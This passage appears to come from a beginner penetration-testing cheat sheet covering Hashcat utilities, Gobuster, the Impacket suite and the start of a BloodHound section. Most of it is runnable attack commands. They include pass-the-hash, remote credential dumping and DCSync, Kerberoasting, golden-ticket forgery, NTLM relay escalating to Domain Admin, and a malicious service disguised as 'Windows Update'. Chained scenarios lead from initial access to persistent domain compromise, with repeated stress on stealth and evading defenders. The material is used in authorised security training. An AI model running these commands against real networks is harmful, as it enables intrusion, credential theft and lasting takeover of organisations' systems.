Hashcat Utils (Companion Tools)
# Combinator (combine two wordlists):
combinator.bin wordlist1.txt wordlist2.txt > combined.txt
# Maskprocessor (generate candidates from mask):
mp64.bin ?l?l?l?l?l?l > 6char_lowercase.txt
# Princeprocessor (PRINCE algorithm - advanced wordlist generation):
pp64.bin < wordlist.txt > prince_candidates.txt
# Kwprocessor (keyboard walk generator - qwerty123, etc.):
kwp64.bin basechars/full.base keymaps/en-us.keymap routes/2-to-10-max-3-direction-changes.route
# Statsprocessor (Markov chains for password generation):
sp64.bin --markov-hcstat2 hashcat.hcstat2 ?l?l?l?l?l?l?l?l
Gobuster (Go-Based Directory & DNS Brute Force)
What is Gobuster? Gobuster is a blazing-fast directory/file brute-forcing tool written in Go. It's the modern replacement for tools like DirBuster and DIRB—faster, more efficient, and supports multiple modes (directory bruteforce, DNS subdomain enumeration, vhost discovery, S3 bucket enumeration). Think of it as a "speed demon" for web enumeration! 🚀
Why Gobuster? Written in Go = multithreaded = FAST! Can scan thousands of URLs per second. Supports custom wordlists, wildcard detection, status code filtering, and parallel requests. Essential for web pentesting!
Installation & Basic Usage
# Install (pre-installed in Kali):
sudo apt install gobuster
# Check version:
gobuster version
# Shows: Gobuster v3.x
# View help:
gobuster -h
# Shows all modes: dir, dns, vhost, s3, gcs, tftp, fuzz
Mode 1: Directory & File Enumeration (dir)
Purpose: Find hidden directories, files, and endpoints on web servers (admin panels, backups, config files, upload directories, etc.)
# Basic directory scan:
gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt
# -u: Target URL
# -w: Wordlist path
# BEGINNER EXPLANATION:
# Gobuster tries URLs like:
# http://target.com/admin
# http://target.com/backup
# http://target.com/uploads
# http://target.com/config
# If the page exists (200/301/302), it displays the result!
# Example output:
===============================================================
Gobuster v3.6
===============================================================
[+] Url: http://target.com
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Status codes: 200,204,301,302,307,401,403
===============================================================
/admin (Status: 301) [Size: 314] [→ /admin/]
/backup (Status: 200) [Size: 1234]
/uploads (Status: 403) [Size: 278]
/config.php (Status: 200) [Size: 456]
===============================================================
# Found 4 directories/files!
# What each status means:
# 200 = Page exists and is accessible
# 301 = Redirect (directory exists, redirects to /admin/)
# 302 = Temporary redirect
# 403 = Forbidden (exists but access denied - try directory listing bypass!)
# 404 = Not found (page doesn't exist)
Common Flags for Directory Enumeration
# Specify file extensions to search:
gobuster dir -u http://target.com -w wordlist.txt -x php,html,txt,bak,zip
# -x: File extensions (tries admin.php, admin.html, admin.txt, admin.bak, etc.)
# BEGINNER TIP: Use -x php,txt,bak to find backup files and source code!
# Filter by status codes:
gobuster dir -u http://target.com -w wordlist.txt -s 200,204,301,302,307,401,403
# -s: Status codes to display (default: 200,204,301,302,307,401,403)
# BEGINNER TIP: Remove 403 if you want to hide "Forbidden" results
# Exclude status codes:
gobuster dir -u http://target.com -w wordlist.txt -b 404,500
# -b: Blacklist status codes (don't show 404 or 500 errors)
# Increase speed with more threads:
gobuster dir -u http://target.com -w wordlist.txt -t 50
# -t: Number of threads (default: 10, max recommended: 50-100)
# BEGINNER WARNING: Too many threads = server might block you or crash!
# Add custom headers (bypass WAF/authentication):
gobuster dir -u http://target.com -w wordlist.txt -H "User-Agent: Mozilla/5.0" -H "X-Forwarded-For: 127.0.0.1"
# -H: Add custom HTTP headers
# BEGINNER TIP: Use "Authorization: Bearer TOKEN" for authenticated scans
# Use cookies for authenticated scanning:
gobuster dir -u http://target.com -w wordlist.txt -c "PHPSESSID=abc123; user_id=5"
# -c: Add cookies (useful for scanning logged-in areas)
# Follow redirects:
gobuster dir -u http://target.com -w wordlist.txt -r
# -r: Follow redirects (e.g., 301 → follow to final destination)
# Disable wildcard detection:
gobuster dir -u http://target.com -w wordlist.txt --no-error
# --no-error: Disable wildcard detection (some servers return 200 for everything)
# Show full URLs in output:
gobuster dir -u http://target.com -w wordlist.txt -e
# -e: Expanded mode (shows full URL: http://target.com/admin instead of /admin)
# Timeout settings:
gobuster dir -u http://target.com -w wordlist.txt --timeout 5s
# --timeout: Request timeout (default: 10s)
# Verbose output:
gobuster dir -u http://target.com -w wordlist.txt -v
# -v: Verbose mode (shows all requests, even 404s)
# Quiet mode (only show found):
gobuster dir -u http://target.com -w wordlist.txt -q
# -q: Quiet mode (minimal output, only discoveries)
# Save output to file:
gobuster dir -u http://target.com -w wordlist.txt -o results.txt
# -o: Output file (save results for reporting)
Mode 2: DNS Subdomain Enumeration (dns)
Purpose: Discover subdomains of a target domain (dev.example.com, admin.example.com, api.example.com, staging.example.com)
# Basic DNS enumeration:
gobuster dns -d example.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
# -d: Domain to enumerate
# -w: Wordlist (tries dev.example.com, admin.example.com, etc.)
# BEGINNER EXPLANATION:
# Gobuster performs DNS lookups for:
# admin.example.com
# dev.example.com
# staging.example.com
# api.example.com
# If the subdomain resolves to an IP, it's found!
# Example output:
Found: admin.example.com [192.168.1.50]
Found: dev.example.com [192.168.1.51]
Found: staging.example.com [192.168.1.52]
Found: api.example.com [192.168.1.53]
# Common DNS flags:
# Use custom DNS resolver:
gobuster dns -d example.com -w wordlist.txt -r 8.8.8.8
# -r: DNS resolver (Google DNS: 8.8.8.8, Cloudflare: 1.1.1.1)
# Show IP addresses:
gobuster dns -d example.com -w wordlist.txt -i
# -i: Show IP addresses for discovered subdomains
# Increase threads:
gobuster dns -d example.com -w wordlist.txt -t 50
# -t: Threads (DNS lookups are fast, can use 50-100 threads)
# Timeout:
gobuster dns -d example.com -w wordlist.txt --timeout 2s
# --timeout: DNS timeout (default: 1s)
Mode 3: Virtual Host Discovery (vhost)
Purpose: Discover virtual hosts on a web server (same IP, different websites based on Host header)
# Basic vhost enumeration:
gobuster vhost -u http://target.com -w wordlist.txt
# -u: Target URL (base domain)
# -w: Wordlist (tries Host: admin.target.com, Host: dev.target.com)
# BEGINNER EXPLANATION:
# Some web servers host multiple sites on same IP using "Host" header
# Example: 192.168.1.100 hosts:
# - target.com (main site)
# - admin.target.com (admin panel)
# - dev.target.com (dev environment)
# Gobuster tries different Host headers to find hidden sites!
# Append domain automatically:
gobuster vhost -u http://target.com -w wordlist.txt --append-domain
# --append-domain: Automatically appends base domain (tries admin.target.com, dev.target.com)
# Filter by status codes:
gobuster vhost -u http://target.com -w wordlist.txt -s 200,204,301,302
# -s: Only show these status codes
Mode 4: AWS S3 Bucket Enumeration (s3)
Purpose: Find publicly accessible AWS S3 buckets (cloud storage leaks - passwords, backups, source code!)
# Basic S3 bucket scan:
gobuster s3 -w wordlist.txt
# -w: Wordlist (tries company-backup, company-files, company-prod, etc.)
# BEGINNER EXPLANATION:
# AWS S3 buckets have URLs like:
# https://company-backup.s3.amazonaws.com
# https://company-prod.s3.amazonaws.com
# If misconfigured, anyone can LIST/DOWNLOAD files!
# Gobuster tries common bucket names to find exposed data
# Example output:
https://company-backup.s3.amazonaws.com (Status: 200) [Size: 1234]
https://company-prod.s3.amazonaws.com (Status: 403) [Forbidden]
# 200 = Bucket exists and is public (JACKPOT!)
# 403 = Bucket exists but access denied (still useful intel!)
# Increase threads:
gobuster s3 -w wordlist.txt -t 50
# S3 API is fast, can use many threads
Best Wordlists for Gobuster
# Pre-installed wordlists in Kali:
# Small (fast scans):
/usr/share/wordlists/dirb/common.txt # 4,614 entries (good for quick scans)
/usr/share/wordlists/dirb/big.txt # 20,469 entries
# Medium (balanced):
/usr/share/seclists/Discovery/Web-Content/common.txt # 4,662 entries
/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt # 87,664 entries
# Large (thorough scans):
/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt # 220,560 entries
/usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt # 62,284 entries
# DNS subdomains:
/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt # 5,000 most common
/usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt # 20,000 entries
# API endpoints:
/usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt
/usr/share/seclists/Discovery/Web-Content/api/objects.txt
# BEGINNER TIP:
# Start small (common.txt) → if you find stuff, use bigger wordlist!
# Use multiple extensions: -x php,html,txt,bak,zip,sql,old,swp
Complete Real-World Examples
# Example 1: Basic web app scan
gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt -x php,html,txt -t 50 -o scan-results.txt
# Scans for directories/files with .php, .html, .txt extensions
# 50 threads for speed, saves to scan-results.txt
# Example 2: Find admin panels
gobuster dir -u http://target.com -w /usr/share/seclists/Discovery/Web-Content/common.txt -x php,html -s 200,301,302 -t 30
# Only shows pages that exist (200/301/302)
# Looks for admin.php, login.html, dashboard.php, etc.
# Example 3: Authenticated scan
gobuster dir -u http://target.com -w wordlist.txt -c "PHPSESSID=abc123; role=admin" -x php,html -t 50
# Scans while authenticated (uses session cookie)
# Finds admin-only pages!
# Example 4: API endpoint discovery
gobuster dir -u http://target.com/api -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt -t 50
# Scans /api/ path for hidden endpoints
# Finds /api/users, /api/admin, /api/debug, etc.
# Example 5: DNS subdomain enumeration
gobuster dns -d example.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -t 100 -i
# Finds dev.example.com, admin.example.com, staging.example.com
# Shows IP addresses with -i flag
# Example 6: Virtual host discovery
gobuster vhost -u http://192.168.1.100 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain -t 50
# Discovers hidden sites on same IP (virtual hosting)
# Example 7: S3 bucket hunting
gobuster s3 -w /usr/share/seclists/Discovery/Web-Content/s3-buckets.txt -t 50
# Finds exposed AWS S3 buckets
# Look for: company-backup, company-prod, company-staging
# Example 8: Bypass WAF with custom User-Agent
gobuster dir -u http://target.com -w wordlist.txt -H "User-Agent: Googlebot/2.1" -t 30
# Pretends to be Google crawler (some WAFs allow this!)
# Example 9: Recursive scan (scan found directories)
gobuster dir -u http://target.com -w wordlist.txt -x php -t 50 --wildcard
# Then manually scan found dirs:
gobuster dir -u http://target.com/admin -w wordlist.txt -x php -t 50
Gobuster vs Other Tools
# Gobuster vs DirBuster vs DIRB vs Feroxbuster:
# GOBUSTER:
✅ Fastest (written in Go, multithreaded)
✅ Multiple modes (dir, dns, vhost, s3)
✅ Clean output
✅ Wildcard detection
❌ No recursive scanning (yet)
# DirBuster:
✅ GUI interface (good for beginners)
✅ Recursive scanning
❌ SLOW (Java-based)
❌ No longer maintained
# DIRB:
✅ Pre-installed in Kali
✅ Good default wordlists
❌ VERY SLOW (single-threaded)
❌ Limited features
# Feroxbuster:
✅ Recursive scanning (auto-scans found directories!)
✅ Fast (Rust-based)
✅ Wildcard filtering
✅ Modern alternative to Gobuster
❌ Newer tool (less documentation)
# RECOMMENDATION:
# - Quick scans: Gobuster (fastest!)
# - Recursive scans: Feroxbuster
# - Beginners: Gobuster (simpler syntax)
Performance Tuning
# Optimize speed without crashing target:
# Low-resource target (shared hosting, slow server):
gobuster dir -u http://target.com -w wordlist.txt -t 10 --timeout 10s --delay 100ms
# -t 10: Only 10 threads (gentle)
# --timeout 10s: Wait 10 seconds for response
# --delay 100ms: 100ms delay between requests
# Medium target (VPS, dedicated server):
gobuster dir -u http://target.com -w wordlist.txt -t 50 --timeout 5s
# -t 50: 50 threads (balanced)
# --timeout 5s: 5 second timeout
# High-performance target (enterprise, CDN):
gobuster dir -u http://target.com -w wordlist.txt -t 100 --timeout 3s
# -t 100: 100 threads (aggressive!)
# --timeout 3s: Fast timeout
# BEGINNER TIP:
# Start with -t 10, increase gradually
# Watch for 429 (rate limiting) or 503 (service unavailable)
# If you get blocked, decrease threads and add --delay!
Impacket Suite (THE Ultimate Active Directory Attack Toolkit)
What is Impacket? Impacket is a collection of Python classes for working with network protocols (SMB, MSRPC, Kerberos, LDAP, etc.). It's THE go-to toolkit for Active Directory attacks, Windows post-exploitation, and lateral movement. Think of it as the "Swiss Army knife" for Windows hacking! Contains 50+ scripts that pentesters use DAILY!
Why Impacket? Every script in Impacket can operate WITHOUT touching disk on the target (fileless attacks!). Works over the network using legitimate Windows protocols. Essential for: AS-REP roasting, Kerberoasting, DCSync, PSExec, pass-the-hash, pass-the-ticket, secretsdump, and MORE!
Installation & Setup
# Install (pre-installed in Kali):
sudo apt install python3-impacket
# Check version:
impacket-psexec --version
# Or: python3 /usr/share/doc/python3-impacket/examples/psexec.py --version
# Update Impacket (get latest exploits):
sudo apt update && sudo apt upgrade python3-impacket
# BEGINNER NOTE:
# Impacket scripts have TWO naming formats:
# 1. impacket-psexec (Kali wrapper - easier to type)
# 2. psexec.py (original Python script)
# Both work the same! Use whichever you prefer.
Script 1: PSExec.py - Remote Command Execution (Like PsExec)
What is it? PSExec is a tool that lets you execute commands on remote Windows machines using SMB + RPC. It's like SSH for Windows, but uses Windows Admin Shares ($ADMIN, $C, etc.). Requires admin credentials!
# Basic usage (username + password):
impacket-psexec domain/username:password@target_ip
# Example:
impacket-psexec CORP/administrator:P@ssw0rd@192.168.1.50
# Opens cmd.exe shell on target as SYSTEM!
# BEGINNER EXPLANATION:
# PSExec uploads an executable to ADMIN$ share → Creates Windows service → Executes command → Returns output
# You get: C:\Windows\system32> prompt (interactive shell!)
# Permissions: SYSTEM (highest privilege on Windows!)
# Use with hash (pass-the-hash attack):
impacket-psexec domain/username@target_ip -hashes :NTLM_HASH
# Example:
impacket-psexec CORP/administrator@192.168.1.50 -hashes :aad3b435b51404eeaad3b435b51404ee
# No password needed! Just NTLM hash from secretsdump
# Execute single command (non-interactive):
impacket-psexec domain/username:password@target_ip "ipconfig /all"
# Runs command, shows output, exits
# Specify target port:
impacket-psexec domain/username:password@target_ip -port 445
# Default: 445 (SMB)
# Use Kerberos authentication:
impacket-psexec domain/username:password@target_ip -k -no-pass
# -k: Use Kerberos ticket (must have TGT in cache)
# -no-pass: Don't ask for password
# Specify domain controller:
impacket-psexec domain/username:password@target_ip -dc-ip 192.168.1.10
# Useful when DNS doesn't work
Script 2: SMBExec.py - Stealthier Remote Execution
What is it? Like PSExec but MORE STEALTHY! Doesn't upload executables or create services. Uses cmd.exe redirection over SMB. Harder for defenders to detect!
# Basic usage:
impacket-smbexec domain/username:password@target_ip
# Opens semi-interactive shell (each command = new session)
# BEGINNER TIP:
# PSExec vs SMBExec:
# PSExec = Interactive shell, leaves artifacts (service creation, file upload)
# SMBExec = Semi-interactive, stealthier (no service, uses cmd.exe pipes)
# Use SMBExec when you want to avoid detection!
# Pass-the-hash:
impacket-smbexec domain/username@target_ip -hashes :NTLM_HASH
Script 3: WMIExec.py - Execute via WMI (Windows Management Instrumentation)
What is it? Uses WMI (Windows Management Instrumentation) to execute commands remotely. VERY STEALTHY! No file drops, no service creation. Just pure WMI magic!
# Basic usage:
impacket-wmiexec domain/username:password@target_ip
# Opens semi-interactive shell via WMI
# BEGINNER NOTE:
# WMI = Windows built-in management framework
# Commonly used by sysadmins = LESS suspicious to defenders
# No artifacts left on disk!
# Pass-the-hash:
impacket-wmiexec domain/username@target_ip -hashes :NTLM_HASH
# Execute single command:
impacket-wmiexec domain/username:password@target_ip "whoami"
Script 4: SecretsDump.py - Dump ALL Credentials!
What is it? The HOLY GRAIL of credential dumping! Extracts password hashes from: SAM database, NTDS.dit (Domain Controller), LSA secrets, cached credentials. Works remotely over the network!
# Dump local SAM hashes (local admin required):
impacket-secretsdump domain/username:password@target_ip
# Extracts: Local user hashes (Administrator, Guest, local users)
# BEGINNER EXPLANATION:
# SAM = Security Account Manager (stores local user passwords as NTLM hashes)
# Output looks like:
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
# ↑ ↑ ↑ ↑
# Username RID LM Hash (disabled) NTLM Hash (THIS IS WHAT YOU WANT!)
# Dump Domain Controller hashes (DCSync attack!):
impacket-secretsdump domain/username:password@DC_IP -just-dc
# Extracts: EVERY domain user hash (Administrator, krbtgt, all users!)
# REQUIRES: Domain Admin privileges OR DCSync rights
# DCSync with hash:
impacket-secretsdump domain/username@DC_IP -hashes :NTLM_HASH -just-dc
# Dump NTDS.dit remotely (entire AD database!):
impacket-secretsdump domain/username:password@DC_IP -just-dc-ntlm
# -just-dc-ntlm: Only NTLM hashes (faster, smaller output)
# Dump specific user:
impacket-secretsdump domain/username:password@DC_IP -just-dc-user administrator
# Dump LSA secrets (cached passwords, service account passwords):
impacket-secretsdump domain/username:password@target_ip -sam -security -system
# -sam: SAM database
# -security: LSA secrets
# -system: SYSTEM registry hive
# Dump from local files (if you have SAM/SYSTEM/SECURITY files):
impacket-secretsdump -sam SAM.save -security SECURITY.save -system SYSTEM.save LOCAL
# LOCAL = parse local files (not remote)
# Output hashes to file:
impacket-secretsdump domain/username:password@DC_IP -just-dc > hashes.txt
# Save all hashes for cracking with Hashcat/John
Script 5: GetNPUsers.py - AS-REP Roasting Attack
What is it? Finds users with "Do not require Kerberos preauthentication" enabled and dumps their AS-REP hashes (can be cracked offline!). No credentials needed!
# Basic AS-REP roasting (no credentials needed!):
impacket-GetNPUsers domain.local/ -dc-ip 192.168.1.10 -request
# Finds vulnerable users and dumps AS-REP hashes
# BEGINNER EXPLANATION:
# Normal Kerberos: User sends encrypted timestamp (proves they know password) → DC gives TGT
# AS-REP Roasting: If preauth disabled → DC gives TGT WITHOUT password proof!
# We can request TGT → Crack it offline to get password!
# Target specific user:
impacket-GetNPUsers domain.local/username -dc-ip 192.168.1.10 -no-pass
# Use username list (enumerate multiple users):
impacket-GetNPUsers domain.local/ -usersfile users.txt -dc-ip 192.168.1.10 -format hashcat
# -format hashcat: Output in Hashcat format for cracking
# With domain credentials (authenticated):
impacket-GetNPUsers domain.local/username:password -dc-ip 192.168.1.10 -request
# Output to file:
impacket-GetNPUsers domain.local/ -dc-ip 192.168.1.10 -request -outputfile asrep_hashes.txt
# Crack AS-REP hash with Hashcat:
hashcat -m 18200 asrep_hash.txt /usr/share/wordlists/rockyou.txt
# -m 18200: Kerberos 5 AS-REP etype 23 (AS-REP roasting)
Script 6: GetUserSPNs.py - Kerberoasting Attack
What is it? Finds service accounts with SPNs (Service Principal Names) and dumps their TGS tickets (can be cracked offline!). Requires ANY domain user credentials!
# Basic Kerberoasting (requires domain credentials):
impacket-GetUserSPNs domain.local/username:password -dc-ip 192.168.1.10 -request
# Finds all SPNs and dumps TGS tickets
# BEGINNER EXPLANATION:
# SPN = Service Principal Name (e.g., MSSQLSvc/sql01.corp.local:1433)
# Service accounts often have weak passwords (never expire, not rotated!)
# Kerberoasting: Request TGS ticket → Encrypted with service account password → Crack offline!
# Output in Hashcat format:
impacket-GetUserSPNs domain.local/username:password -dc-ip 192.168.1.10 -request -outputfile tgs_tickets.txt
# Target specific SPN:
impacket-GetUserSPNs domain.local/username:password -dc-ip 192.168.1.10 -request-user sqlservice
# Save tickets for later:
impacket-GetUserSPNs domain.local/username:password -dc-ip 192.168.1.10 -save
# Crack TGS with Hashcat:
hashcat -m 13100 tgs_ticket.txt /usr/share/wordlists/rockyou.txt
# -m 13100: Kerberos 5 TGS-REP etype 23 (Kerberoasting)
# Kerberoasting workflow:
# 1. Get any domain user creds (phishing, password spray, etc.)
# 2. Run GetUserSPNs.py → dumps TGS tickets
# 3. Crack tickets with Hashcat/John
# 4. Compromise service account → Often has high privileges!
Script 7: GetADUsers.py - Enumerate Domain Users
# Enumerate all domain users:
impacket-GetADUsers domain.local/username:password -dc-ip 192.168.1.10 -all
# Lists: All domain users with details (SamAccountName, email, description, etc.)
# Get specific user info:
impacket-GetADUsers domain.local/username:password -dc-ip 192.168.1.10 -user administrator
Script 8: Ticketer.py - Golden/Silver Ticket Creation
What is it? Creates forged Kerberos tickets (Golden = Domain Admin forever, Silver = Access to specific service). Requires krbtgt hash or service account hash!
# Create Golden Ticket (requires krbtgt hash from secretsdump):
impacket-ticketer -nthash KRBTGT_NTLM_HASH -domain-sid DOMAIN_SID -domain DOMAIN.LOCAL fakeuser
# Creates: fakeuser.ccache (Kerberos ticket)
# BEGINNER EXPLANATION:
# Golden Ticket = Forged TGT signed with krbtgt hash
# krbtgt = Kerberos Ticket Granting Ticket account (master key for domain!)
# If you have krbtgt hash → Create tickets for ANY user with ANY privileges!
# Ticket valid for 10 years by default!
# Use Golden Ticket:
export KRB5CCNAME=fakeuser.ccache
impacket-psexec DOMAIN.LOCAL/fakeuser@DC01.DOMAIN.LOCAL -k -no-pass
# -k: Use Kerberos ticket
# You're now Domain Admin without password!
# Create Silver Ticket (access specific service):
impacket-ticketer -nthash SERVICE_ACCOUNT_HASH -domain-sid DOMAIN_SID -domain DOMAIN.LOCAL -spn cifs/server.domain.local fakeuser
# Creates ticket for accessing CIFS share on server.domain.local
Script 9: GetST.py - Request Service Ticket
# Request TGS ticket for specific SPN:
impacket-getST domain.local/username:password -spn cifs/target.domain.local -dc-ip 192.168.1.10
# Request with hash:
impacket-getST domain.local/username -hashes :NTLM_HASH -spn cifs/target.domain.local -dc-ip 192.168.1.10
Script 10: NTLMRelayX.py - NTLM Relay Attacks
What is it? Captures NTLM authentication attempts and RELAYS them to other servers (SMB relay, LDAP relay, HTTP relay). Incredibly powerful for lateral movement!
# Basic SMB relay (relay captured auth to targets):
impacket-ntlmrelayx -tf targets.txt -smb2support
# -tf: Target file (list of IPs to relay to)
# -smb2support: Enable SMB2/3 support
# BEGINNER EXPLANATION:
# NTLM relay attack:
# 1. You capture NTLM authentication (via Responder, MITM, etc.)
# 2. Relay it to another server
# 3. If user has admin on target → YOU get admin shell!
# 4. No password cracking needed!
# Relay to specific target:
impacket-ntlmrelayx -t 192.168.1.50 -smb2support
# When victim authenticates → relay to 192.168.1.50
# Relay + execute command:
impacket-ntlmrelayx -t 192.168.1.50 -smb2support -c "whoami"
# Relays auth → executes command on target
# Relay + dump SAM:
impacket-ntlmrelayx -t 192.168.1.50 -smb2support --dump-sam
# Relays auth → dumps SAM hashes
# LDAP relay (escalate to Domain Admin!):
impacket-ntlmrelayx -t ldap://DC01.domain.local -smb2support --escalate-user normaluser
# Relays auth to LDAP → adds normaluser to Domain Admins!
# HTTP to SMB relay:
impacket-ntlmrelayx -t 192.168.1.50 -smb2support -http-port 80
# Listens on HTTP:80 → relays to SMB
# Relay workflow:
# 1. Start ntlmrelayx: impacket-ntlmrelayx -tf targets.txt -smb2support
# 2. Force victim to authenticate (Responder, phishing link, etc.)
# 3. ntlmrelayx captures → relays → you get shell!
Script 11: SMBClient.py - Interactive SMB Client
# Connect to SMB share:
impacket-smbclient domain/username:password@target_ip
# Opens interactive shell: shares, ls, cd, get, put
# List shares:
impacket-smbclient domain/username:password@target_ip -list
# Connect to specific share:
impacket-smbclient domain/username:password@target_ip -share ADMIN$
# Commands in interactive shell:
shares # List available shares
use ADMIN$ # Connect to share
ls # List files
cd Windows # Change directory
get file.txt # Download file
put payload.exe # Upload file
Script 12: SMBServer.py - Create Fake SMB Server
# Create SMB server (share local directory):
impacket-smbserver share /path/to/folder -smb2support
# Creates: \\YOUR_IP\share
# BEGINNER USE CASE:
# 1. Start SMB server on attacker machine
# 2. From compromised Windows: copy \\ATTACKER_IP\share\payload.exe C:\temp\
# 3. Transfer files WITHOUT uploading to web server!
# No authentication required:
impacket-smbserver share /tmp -smb2support
# With authentication:
impacket-smbserver share /tmp -smb2support -username user -password pass
Script 13: REG.py - Remote Registry Access
# Query remote registry:
impacket-reg domain/username:password@target_ip query -keyName HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion
# Dump registry hive:
impacket-reg domain/username:password@target_ip backup -keyName HKLM\\SAM
# Saves SAM hive for offline password extraction
Script 14: Services.py - Remote Service Management
# List services on remote machine:
impacket-services domain/username:password@target_ip list
# Create service:
impacket-services domain/username:password@target_ip create -name EvilService -display "Windows Update" -path "C:\\payload.exe"
# Start service:
impacket-services domain/username:password@target_ip start -name EvilService
# Delete service:
impacket-services domain/username:password@target_ip delete -name EvilService
Script 15: ATExec.py - Execute via Task Scheduler
# Execute command via scheduled task:
impacket-atexec domain/username:password@target_ip "whoami"
# Creates scheduled task → executes → deletes task
# BEGINNER TIP:
# atexec = uses Windows Task Scheduler (more stealthy than PSExec service creation)
Script 16: DComExec.py - Execute via DCOM
# Execute via DCOM (Distributed Component Object Model):
impacket-dcomexec domain/username:password@target_ip "whoami"
# Uses DCOM objects (MMC20.Application, ShellWindows, etc.)
# BEGINNER NOTE:
# DCOM = Another Windows remote execution method (VERY stealthy!)
Script 17: Lookupsid.py - Enumerate Domain SIDs/Users
# Enumerate domain users via SID lookup:
impacket-lookupsid domain/username:password@target_ip
# Brute forces SIDs (S-1-5-21-...) to find all domain users
# BEGINNER EXPLANATION:
# SID = Security Identifier (unique ID for users/groups)
# lookupsid tries SIDs 500-2000 → finds users even if enumeration is restricted!
Script 18: Samrdump.py - Dump SAM Database
# Dump SAM remotely:
impacket-samrdump domain/username:password@target_ip
# Extracts user info from SAM (usernames, descriptions, group memberships)
Script 19: Rpcdump.py - Enumerate RPC Endpoints
# Enumerate RPC endpoints:
impacket-rpcdump domain/username:password@target_ip
# Lists all RPC interfaces (useful for finding vulnerable services)
Script 20: Mimikatz.py - Execute Mimikatz Remotely
# Execute Mimikatz commands remotely:
impacket-mimikatz domain/username:password@target_ip "privilege::debug sekurlsa::logonpasswords"
# Runs Mimikatz in memory → dumps passwords
Complete Attack Scenarios
# SCENARIO 1: Initial Access → Domain Admin
# Step 1: Get initial domain user credentials (password spray, phishing, etc.)
impacket-GetNPUsers domain.local/ -usersfile users.txt -dc-ip 192.168.1.10 -format hashcat -outputfile asrep.txt
# AS-REP roasting (no creds needed!)
# Step 2: Crack AS-REP hash
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
# Found: user1:Welcome123
# Step 3: Kerberoasting (with user1 creds)
impacket-GetUserSPNs domain.local/user1:Welcome123 -dc-ip 192.168.1.10 -request -outputfile tgs.txt
# Step 4: Crack TGS ticket
hashcat -m 13100 tgs.txt /usr/share/wordlists/rockyou.txt
# Found: sqlservice:P@ssw0rd!
# Step 5: Check if sqlservice is admin anywhere
crackmapexec smb targets.txt -u sqlservice -p 'P@ssw0rd!' --shares
# Found admin on: 192.168.1.50
# Step 6: Get shell on 192.168.1.50
impacket-psexec domain.local/sqlservice:P@ssw0rd!@192.168.1.50
# Got SYSTEM shell!
# Step 7: Dump local SAM
impacket-secretsdump domain.local/sqlservice:P@ssw0rd!@192.168.1.50
# Found local admin hash
# Step 8: Pass-the-hash to other machines
impacket-psexec domain.local/administrator@192.168.1.51 -hashes :LOCAL_ADMIN_HASH
# Step 9: Eventually reach Domain Controller
impacket-psexec domain.local/administrator@DC01.domain.local -hashes :HASH
# Step 10: DCSync (dump all domain hashes)
impacket-secretsdump domain.local/administrator@DC01.domain.local -hashes :HASH -just-dc
# Got krbtgt hash!
# Step 11: Create Golden Ticket
impacket-ticketer -nthash KRBTGT_HASH -domain-sid S-1-5-21-... -domain DOMAIN.LOCAL newadmin
export KRB5CCNAME=newadmin.ccache
# Step 12: Persist as Domain Admin FOREVER
impacket-psexec DOMAIN.LOCAL/newadmin@DC01.DOMAIN.LOCAL -k -no-pass
# You're now Domain Admin with Golden Ticket (valid for 10 years!)
# SCENARIO 2: NTLM Relay to Domain Admin
# Step 1: Start Responder (capture NTLM auth)
sudo responder -I eth0 -v
# Step 2: Start ntlmrelayx (relay to DC LDAP)
impacket-ntlmrelayx -t ldap://DC01.domain.local -smb2support --escalate-user lowpriv
# Step 3: Force victim to authenticate (trigger Windows search, phishing link, etc.)
# Example: \\ATTACKER_IP\share
# Step 4: Responder captures → ntlmrelayx relays to LDAP → adds lowpriv to Domain Admins!
# Step 5: Verify
net user lowpriv /domain
# Member of: Domain Admins
# Step 6: DCSync with new DA account
impacket-secretsdump domain.local/lowpriv:password@DC01 -just-dc
# SCENARIO 3: Stealth Post-Exploitation
# Step 1: WMIExec instead of PSExec (stealthier)
impacket-wmiexec domain.local/user:pass@target_ip
# Step 2: Dump credentials without touching disk
impacket-secretsdump domain.local/user:pass@target_ip -outputfile hashes.txt
# Step 3: Pass-the-hash for lateral movement
for ip in $(cat targets.txt); do
impacket-wmiexec domain.local/administrator@$ip -hashes :HASH "whoami"
done
# Step 4: Create Silver Ticket (access specific service without full DA)
impacket-ticketer -nthash SERVICE_HASH -domain-sid SID -domain DOMAIN.LOCAL -spn cifs/file01.domain.local user
export KRB5CCNAME=user.ccache
impacket-smbclient DOMAIN.LOCAL/user@file01.domain.local -k -no-pass
BloodHound (THE Active Directory Attack Path Visualization Tool)
What is BloodHound? BloodHound uses graph theory to reveal hidden relationships and attack paths in Active Directory. It shows you the SHORTEST path from your current user to Domain Admin! Think of it as "Google Maps for AD hacking" - it finds routes through complex AD environments that humans would NEVER spot manually!
Why BloodHound? Active Directory has thousands of users, groups, computers, ACLs, and trust relationships. BloodHound ingests ALL this data, builds a graph database, and lets you query: "How can THIS user become Domain Admin?" Answers in seconds what would take weeks manually!
Components of BloodHound
# BloodHound has 3 parts:
# 1. DATA COLLECTORS (SharpHound):
# - SharpHound.exe (Windows)
# - SharpHound.ps1 (PowerShell)
# - Bloodhound.py (Python - Linux remote collection)
# Collect: Users, Groups, Computers, Sessions, ACLs, Trusts, GPOs
# 2. DATABASE (Neo4j):
# - Graph database that stores AD data
# - Uses Cypher query language
# - Pre-installed in Kali
# 3. GUI (BloodHound):
# - Electron-based app
# - Visualizes attack paths
# - Pre-built queries + custom Cypher queries
Installation & Setup
# Install BloodHound + Neo4j (pre-installed in Kali):
sudo apt install bloodhound neo4j
# Start Neo4j database:
sudo neo4j console
# Or as service:
sudo systemctl start neo4j
# Access Neo4j web interface:
